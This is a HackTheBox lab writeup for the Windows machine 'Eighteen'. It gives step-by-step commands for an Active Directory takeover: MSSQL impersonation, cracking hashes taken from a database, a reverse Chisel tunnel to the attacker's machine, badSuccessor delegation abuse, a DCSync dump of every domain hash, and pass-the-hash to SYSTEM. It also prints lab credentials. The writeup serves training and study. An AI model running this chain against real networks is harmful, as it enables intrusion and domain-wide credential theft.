← Writeups
EasyWindowsHackTheBox

Eighteen — HackTheBox Writeup (Windows, Easy)

MSSQL impersonation pivots to a financial database where PBKDF2 hashes crack to domain credentials, then the badSuccessor RBCD technique chains through Kerberos to a full DCSync — every NTLM hash in the domain dumped.

2026-03-16

// Attack Chain

MSSQL IMPERSONATE → PBKDF2 hash crack → adam.scott → badSuccessor RBCD → Kerberos TGS → DCSync → Pass-the-Hash → SYSTEM

Attack Chain Overview

CODE
Nmap → MSSQL on port 1433
        ↓
Login as kevin → IMPERSONATE appdev
        ↓
Access financial_planner DB → extract PBKDF2 hashes
        ↓
Crack hashes → lateral movement to adam.scott
        ↓
Evil-WinRM → Chisel SOCKS proxy (tunnel Kerberos traffic)
        ↓
BloodyAD badSuccessor → create machine account htb-dmsa$
        ↓
getST.py → Kerberos TGS for CIFS/DC01
        ↓
secretsdump.py → dump all NTLM hashes
        ↓
Pass-the-Hash → psexec as NT AUTHORITY\SYSTEM

Phase 1 — Reconnaissance

Nmap Scan

BASH
nmap -Pn 10.10.11.95 -p80,1433,5985 -sV -sC
CODE
PORT     STATE SERVICE       VERSION
80/tcp   open  http          Microsoft IIS 10.0 (http://eighteen.htb)
1433/tcp open  ms-sql-s      Microsoft SQL Server 2022 RTM (16.00.1000.00)
5985/tcp open  http          Microsoft HTTPAPI 2.0 (WinRM)

Key observations:

Why this target is a DC: The hostname DC01.eighteen.htb and the presence of Kerberos-dependent services confirm this is a Domain Controller — the most valuable target in any Active Directory environment.


Phase 2 — Initial Access via MSSQL

Credentials Discovery

Initial credentials obtained through web enumeration:

CODE
Username: kevin
Password: iNa2we6haRj2gaw!

Connect to MSSQL

BASH
mssqlclient.py kevin:'iNa2we6haRj2gaw!'@10.10.11.95

Why Impacket's mssqlclient? It handles MSSQL authentication cleanly from Linux and gives you an interactive SQL shell. It supports both Windows Authentication (domain accounts) and SQL Authentication (local SQL accounts).


Phase 3 — MSSQL Enumeration & Privilege Escalation

Check Impersonation Privileges

One of the first things to check in MSSQL is whether your current login can impersonate other SQL logins. This is a misconfiguration where a developer grants IMPERSONATE on a more privileged account — often to a service account or developer user.

SQL
SELECT grantor_principal.name AS grantor,
       grantee_principal.name AS grantee,
       perm.permission_name,
       perm.class_desc
FROM sys.server_permissions AS perm
JOIN sys.server_principals AS grantor_principal
  ON perm.grantor_principal_id = grantor_principal.principal_id
JOIN sys.server_principals AS grantee_principal
  ON perm.grantee_principal_id = grantee_principal.principal_id
WHERE perm.permission_name = 'IMPERSONATE';

Result: kevin can impersonate appdev.

Why this matters: The EXECUTE AS LOGIN statement lets you switch your SQL Server identity to another login. If appdev has access to databases or tables that kevin doesn't, you now inherit all of those permissions — no credentials needed.

Impersonate appdev

SQL
EXECUTE AS LOGIN = 'appdev';
SELECT SYSTEM_USER, USER_NAME();

Access the Financial Planner Database

SQL
USE financial_planner;
SELECT username, password_hash FROM users WHERE is_admin=1;

Retrieved hashes:

CODE
admin: pbkdf2:sha256:600000$TcPhSHQ3XAViIsnu$771de21cde20b6175d87f784bb5e12a9f19d8dd7c660885c068a762b6a0b2c12
test:  pbkdf2:sha256:600000$SAoHctODQGIUSAcP$2beb22515f34205d3e52e501f0424e9217229ff8e9e96fdeadb26bae544b714b

Why PBKDF2-SHA256 is harder to crack than NTLM: PBKDF2 is intentionally slow — it runs the hash function 600,000 times. This means a GPU that can crack billions of NTLM hashes per second is slowed to thousands per second for PBKDF2. The salt ($TcPhSHQ3XAViIsnu$) prevents rainbow table attacks. You need hashcat with mode -m 10900 and a targeted wordlist.

BASH
hashcat -m 10900 hashes.txt /usr/share/wordlists/rockyou.txt

Phase 4 — Domain User Enumeration

RID Brute Force via NetExec

With valid MSSQL credentials, you can abuse the SQL Server's domain membership to enumerate domain accounts via RID cycling — even without a domain shell.

BASH
nxc mssql 10.10.11.95 -u kevin -p 'iNa2we6haRj2gaw!' --rid-brute

Why RID brute works: Every Windows account has a Security Identifier (SID). The last part is the RID (Relative Identifier). Built-in accounts have well-known RIDs (Administrator=500, Guest=501), domain accounts start at 1000. By iterating RIDs and resolving them via the MSSQL server's domain connection, you enumerate all accounts without needing LDAP access.

Key users discovered:

CODE
EIGHTEEN\mssqlsvc    (service account)
EIGHTEEN\jamie.dunn
EIGHTEEN\adam.scott
EIGHTEEN\DC01$       (computer account)

Note: RID brute often times out on HTB around RID 1612. If you hit a timeout, rerun with --rid-brute 2000 to cover more accounts.


Phase 5 — Lateral Movement to adam.scott

Through cracking the PBKDF2 hashes, credentials for adam.scott were obtained:

CODE
Username: adam.scott
Password: iloveyou1

Why password reuse matters here: The financial planner database stored hashed web app passwords. Users frequently reuse passwords across web apps and domain accounts. Cracking app hashes and trying them against domain accounts is a standard lateral movement step.

BASH
evil-winrm -i 10.10.11.95 -u adam.scott -p 'iloveyou1'

User Flag

POWERSHELL
type C:\Users\adam.scott\Desktop\user.txt

Phase 6 — Privilege Escalation via badSuccessor (RBCD)

Why This Needs a Tunnel First

Kerberos traffic needs to reach the DC directly. Operating through a compromised host, we set up a SOCKS proxy using Chisel so Impacket tools on Kali can send Kerberos requests through the victim machine.

Step 1 — Setup Chisel SOCKS Proxy

On Kali:

BASH
./chisel server -p 9001 --reverse --socks5

On victim (Evil-WinRM shell):

POWERSHELL
.\chisel.exe client <KALI_IP>:9001 R:socks

Add to /etc/proxychains4.conf:

CODE
socks5 127.0.0.1 1080

Why Chisel? It creates an encrypted TCP tunnel. The R:socks flag tells the client to expose a reverse SOCKS5 proxy on the server side. All tools prefixed with proxychains route through this tunnel to the internal network.

Step 2 — Sync Kali Clock to DC

Kerberos will reject tickets if the clock difference exceeds 5 minutes.

POWERSHELL
# On victim — check DC time
(Get-Date).ToUniversalTime()
BASH
# On Kali — set to match
sudo date -u MMDDhhmmYYYY
# Format: MM=month, DD=day, hh=hour, mm=minute, YYYY=year

Get this wrong and every Kerberos request will fail silently.

Step 3 — badSuccessor Attack (RBCD)

What is RBCD? Resource-Based Constrained Delegation allows a computer account to be configured to trust specific other accounts to impersonate any user to its services. If you can write to a computer account's msDS-AllowedToActOnBehalfOfOtherIdentity attribute, you can make it trust a machine account you control — then request Kerberos tickets impersonating any user (including Domain Admin) to services on that computer.

What is badSuccessor? It's a specific technique using BloodyAD's add badSuccessor command to create a new machine account and configure the RBCD relationship in one step. This works when adam.scott has sufficient rights on the DC computer object.

BASH
proxychains bloodyAD -d eighteen.htb -u adam.scott -p 'iloveyou1' \
    --host dc01.eighteen.htb add badSuccessor htb-dmsa

What this does:

  1. Creates a new machine account htb-dmsa$ in the domain
  2. Configures DC01's msDS-AllowedToActOnBehalfOfOtherIdentity to trust htb-dmsa$
  3. This means htb-dmsa$ can now request Kerberos service tickets impersonating any user to DC01's services

Step 4 — Request Kerberos Service Ticket

BASH
export KRB5CCNAME=$PWD/htb-dmsa_ts.ccache

proxychains python3 getST.py -k -no-pass \
    -spn cifs/dc01.eighteen.htb eighteen.htb/htb-dmsa$

What getST.py does: Requests a Kerberos TGS (service ticket) for the cifs/dc01.eighteen.htb SPN. Because RBCD is configured to trust htb-dmsa$, Kerberos issues a ticket that lets us access CIFS (SMB file shares) on DC01 as any user — we'll use this to impersonate Administrator.

Why CIFS? SMB/CIFS is the protocol that secretsdump.py uses to remotely read the NTDS.dit database.

Step 5 — DCSync / Secrets Dump

BASH
export KRB5CCNAME=$PWD/htb-dmsa_ts.ccache

proxychains python3 secretsdump.py -k -no-pass htb-dmsa\$@dc01.eighteen.htb

What secretsdump does: Connects to DC01 via SMB using the Kerberos ticket, then remotely reads the NTDS.dit Active Directory database and SYSTEM registry hive to extract NTLM password hashes for every domain account. This is called a DCSync attack — it mimics the replication protocol that Domain Controllers use to sync with each other.

Why this gives you everything: The NTDS.dit database contains the NTLM hash of every domain account password. NTLM hashes can be used directly for Pass-the-Hash attacks — no cracking needed.

Step 6 — Pass-the-Hash to SYSTEM

BASH
proxychains impacket-psexec administrator@dc01.eighteen.htb -hashes :<NTLM_HASH>

Why Pass-the-Hash works: Windows NTLM authentication doesn't require the plaintext password — it only needs the hash. psexec authenticates to the SMB service using the Administrator's NTLM hash directly, uploads a service binary, and executes it as SYSTEM.


Root Flag

CODE
C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt

What Went Wrong Along the Way

Clock sync: Kerberos errors are cryptic and almost always caused by time skew. Building the clock sync habit early saves enormous debugging time. If you see KRB_AP_ERR_SKEW, check the time before anything else.

Proxychains verification: When setting up proxychains, verify the tunnel works before attempting Kerberos operations — proxychains curl http://dc01.eighteen.htb should return something.

PBKDF2 cracking speed: Moved too slowly from MSSQL to hash cracking. The hashes in the database were the direct path to lateral movement. Don't overthink what else might be in MSSQL before cracking what you already have.


Key Commands Reference

BASH
# Nmap
nmap -Pn 10.10.11.95 -p80,1433,5985 -sV -sC

# MSSQL access
mssqlclient.py kevin:'iNa2we6haRj2gaw!'@10.10.11.95

# Check MSSQL impersonation privileges
# (run in mssqlclient SQL shell - see query above)

# RID brute force
nxc mssql 10.10.11.95 -u kevin -p 'iNa2we6haRj2gaw!' --rid-brute

# Hash cracking
hashcat -m 10900 hashes.txt /usr/share/wordlists/rockyou.txt

# Evil-WinRM
evil-winrm -i 10.10.11.95 -u adam.scott -p 'iloveyou1'

# Chisel tunnel (Kali)
./chisel server -p 9001 --reverse --socks5

# Chisel client (victim)
.\chisel.exe client <KALI_IP>:9001 R:socks

# Sync clock
sudo date -u MMDDhhmmYYYY

# badSuccessor RBCD
proxychains bloodyAD -d eighteen.htb -u adam.scott -p 'iloveyou1' \
    --host dc01.eighteen.htb add badSuccessor htb-dmsa

# Request Kerberos ticket
export KRB5CCNAME=$PWD/htb-dmsa_ts.ccache
proxychains python3 getST.py -k -no-pass -spn cifs/dc01.eighteen.htb eighteen.htb/htb-dmsa$

# DCSync
proxychains python3 secretsdump.py -k -no-pass htb-dmsa\$@dc01.eighteen.htb

# Pass-the-Hash
proxychains impacket-psexec administrator@dc01.eighteen.htb -hashes :<NTLM_HASH>

Lessons Learned

What Worked Well

What to Do Faster Next Time

Detection & Defense

How to detect this attack:

How to prevent it:


Technique Summary

TechniqueWhy It Worked
MSSQL IMPERSONATEkevin was granted IMPERSONATE on appdev — a misconfigured SQL permission
PBKDF2 hash crackingHashes stored in app DB with weak password (iloveyou1) in rockyou.txt
RID brute forceMSSQL server had domain trust, allowing SID/RID resolution without LDAP
Password reuseApp DB password matched domain account password for adam.scott
badSuccessor RBCDadam.scott had sufficient rights to modify DC01's delegation attributes
Kerberos TGS requestRBCD configuration allowed htb-dmsa$ to impersonate any user to DC01's CIFS service
DCSyncValid CIFS ticket + secretsdump = full NTDS.dit dump
Pass-the-HashNTLM hash used directly for authentication — no plaintext password needed

CVE Summary

No CVEs exploited — all techniques abused misconfigurations.


Tools Used

ToolPurpose
NmapPort scan and service fingerprinting
Impacket mssqlclientInteractive MSSQL shell from Linux
NetExec (nxc)RID brute force via MSSQL
HashcatCrack PBKDF2-SHA256 hashes (-m 10900)
Evil-WinRMPowerShell remote shell via WinRM
ChiselTCP tunneling / SOCKS5 proxy
BloodyADbadSuccessor RBCD attack
Impacket getST.pyRequest Kerberos service tickets
Impacket secretsdump.pyDCSync / dump NTDS.dit hashes
Impacket psexec.pyPass-the-Hash → SYSTEM shell
← Back to writeups